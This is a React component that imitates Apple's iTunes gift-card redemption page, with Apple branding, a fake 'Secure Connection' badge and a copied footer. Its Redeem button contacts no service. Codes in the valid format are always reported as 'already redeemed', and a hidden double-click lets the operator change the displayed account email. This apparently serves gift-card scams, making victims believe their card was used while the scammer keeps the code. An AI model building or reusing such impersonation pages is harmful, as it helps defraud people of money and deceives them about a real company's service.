import React, { useState, useEffect } from "react";
import styles from "./index.module.css";
import Icon from "@/common/Icon";
import { Button, Flex, Input, Modal, Form } from "antd";
import iconPng from "@/assets/icons/icon.png";
import CustomAlert from "./CustomAlert";

interface Props {
  onStatusChange?: (status: "redeeming" | "normal") => void;
}

const RedeemCode: React.FC<Props> = ({ onStatusChange }) => {
  const [code, setCode] = useState("");
  const [error, setError] = useState("");
  const [isInputFocused, setIsInputFocused] = useState(false);
  const [isRedeeming, setIsRedeeming] = useState(false);
  // 简化账号状态
  const [account, setAccount] = useState("rickdodson75@yahoo.com");
  const [isModalVisible, setIsModalVisible] = useState(false);
  const [form] = Form.useForm();
  const [blur, setBlur] = useState(false);
  const [customModalVisible, setCustomModalVisible] = useState(false);

  useEffect(() => {
    const onBlur = () => setBlur(true);
    const onFocus = () => setBlur(false);
    window.addEventListener('blur', onBlur);
    window.addEventListener('focus', onFocus);
    return () => {
      window.removeEventListener('blur', onBlur);
      window.removeEventListener('focus', onFocus);
    };
  }, []);

  const handleRedeem = () => {
    if (!code.trim()) {
      return;
    }

    // 设置状态为正在兑换
    setIsRedeeming(true);
    onStatusChange?.("redeeming");
    setError("");

    // 1秒后显示错误信息
    setTimeout(() => {

      if (code.trim().length != 16) {
        setError("The code entered is not valid.For help, go <br>to<b> Code Redemption Support.</b>>");
        setIsRedeeming(false);
        onStatusChange?.("normal");
        setCustomModalVisible(true);
        return;
      }

      // 检查非法字符
      const invalidPattern = /[ABEIOSU01\W]/i;
      if (invalidPattern.test(code)) {
        setError("The code entered is not valid.For help, go <br>to<b> Code Redemption Support.</b>>");
        setIsRedeeming(false);
        onStatusChange?.("normal");
        setCustomModalVisible(true);
        return;
      }

      setError("This code has already been redeemed.");
      setIsRedeeming(false);
      onStatusChange?.("normal");
    }, 1500);
  };

  const handleOk = () => {
    form.validateFields().then((values) => {
      setAccount(values.account);
      setIsModalVisible(false);
      form.resetFields();
    });
  };

  return (
    <div className={`${styles.redeemContainer}`}>
      <Flex
        className={styles.redeemHeader}
        justify="space-between"
        align="center"
      >
        <h1 className={styles.redeemTitle}>Redeem Code</h1>
        <div className={styles.secureConnection}>
          <Icon src="/images/锁.png" style={{ width: 16, height: 16 }} />
          <span>Secure Connection</span>
        </div>
      </Flex>

      <div className={styles.giftCardsDisplay}>
        {/* <img
          src="/images/兑换.png"
          alt="Gift Cards"
          className={styles.giftCardsImage}
        /> */}
        <Icon src="/images/兑换.png" className={styles.giftCardsImage} />
        <div className={styles.customAlertFixed}>
          <CustomAlert
            open={customModalVisible}
            icon={iconPng}
            title="iTunes"
            message="The code entered is not valid."
            onOk={() => setCustomModalVisible(false)}
          />
        </div>
      </div>

      <Flex className={`${styles.redeemForm}`} vertical>
        <div className={styles.instruction}>
          Enter your gift card or download code.
        </div>
        <Flex className={styles.accountInfo} wrap="nowrap">
          <span >
            This code will be applied to your Apple Account,{" "}
          </span>
          <span
            onDoubleClick={() => {
              form.setFieldsValue({ account });
              setIsModalVisible(true);
            }}
            style={{
              minWidth: 20,
            }}
          >
            {account ? account : <button>双击更改邮箱</button>}
          </span>
        </Flex>

        <Flex gap={10} align="center" className={styles.codeInputContainer}>
          <div
            className={`${styles.codeInputWrapper} ${
              isInputFocused || error ? styles.focused : ""
            }`}
          >
            <Input
              type="text"
              placeholder="Code"
              className={`${styles.codeInput} `}
              value={code}
              onChange={(e) => {
                setError("");
                setCode(e.target.value);
              }}
              onFocus={() => setIsInputFocused(true)}
              onBlur={() => setIsInputFocused(false)}
              disabled={isRedeeming}
              style={isRedeeming ? { cursor: "default" } : {}}
            />
            {error && (
              <Flex
                justify="center"
                align="center"
                className={styles.leftArrow}
              >
                <Icon
                  src="/images/左箭头.png"
                  style={{ display: "block", width: 8, height: 8 }}
                />
              </Flex>
            )}
          </div>
          <Button
            className={`${styles.redeemButton} ${blur ? styles.blur1 : ''} ${isRedeeming ? styles.blur1 : ''}`}
            onClick={handleRedeem}
            disabled={isRedeeming}
            style={{
              color: code.trim() && !isRedeeming ? 'rgba(27,27,27,0.9)' : (isRedeeming ? 'rgba(161, 161, 161,1)' : undefined)
            }}
          >
            Redeem
          </Button>
        </Flex>

        {error && <p className={styles.errorMessage} dangerouslySetInnerHTML={{__html: error}} />}
      </Flex>

      <div className={styles.termsLink}>
        <a href="#" className={styles.terms}>
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Terms and Conditions
        </a>
      </div>

      <Modal
        title="Edit Email"
        open={isModalVisible}
        onOk={handleOk}
        onCancel={() => {
          setIsModalVisible(false);
          form.resetFields();
        }}
      >
        <Form form={form}>
          <Form.Item
            label="Email"
            name="account"
            // rules={[{ required: true, message: "请输入账号" }]}
          >
            <Input placeholder="Please enter a new account" />
          </Form.Item>
        </Form>
      </Modal>
      {/* Footer 区域开始 */}
      <div className={styles.footerSection}>
        <div className={styles.footerMenus}>
          <div>
            <div className={styles.footerMenuTitle}>Apple Music</div>
            <div className={styles.footerMenuItem}>Get 1 Free Month of ...</div>
            <div className={styles.footerMenuItem}>Apple Music 1</div>
          </div>
          <div>
            <div className={styles.footerMenuTitle}>Explore</div>
            <div className={styles.footerMenuItem}>Music</div>
            <div className={styles.footerMenuItem}>Movies</div>
            <div className={styles.footerMenuItem}>App Store</div>
            <div className={styles.footerMenuItem}>Books</div>
            <div className={styles.footerMenuItem}>Podcasts</div>
            <div className={styles.footerMenuItem}>iTunes U</div>
          </div>
          <div>
            <div className={styles.footerMenuTitle}>Features</div>
            <div className={styles.footerMenuItem}>Purchased</div>
            <div className={styles.footerMenuItem}>iTunes Match</div>
          </div>
          <div>
            <div className={styles.footerMenuTitle}>Help</div>
            <div className={styles.footerMenuItem}>Support</div>
            <div className={styles.footerMenuItem}>iTunes Tutorials</div>
            <div className={styles.footerMenuItem}>In-App Purchases</div>
          </div>
          <div>
            <div className={styles.footerMenuTitle}>Manage</div>
            <div className={styles.footerMenuItem}>Account</div>
            <div className={styles.footerMenuItem}>Redeem</div>
            <div className={styles.footerMenuItem}>My Wish List</div>
            <div className={styles.footerMenuItem}>Country or Region</div>
          </div>
        </div>
        <div className={styles.footerCopyright}>
          Copyright © 2025 Apple Inc. All Rights Reserved. <a href="#">Privacy Policy</a> | <a href="#">Terms and Conditions</a>
        </div>
        <img src="images/us_flag.png" alt="美国国旗" className={styles.footerFlag} />
      </div>
      {/* Footer 区域结束 */}
    </div>
  );
};

export default RedeemCode;
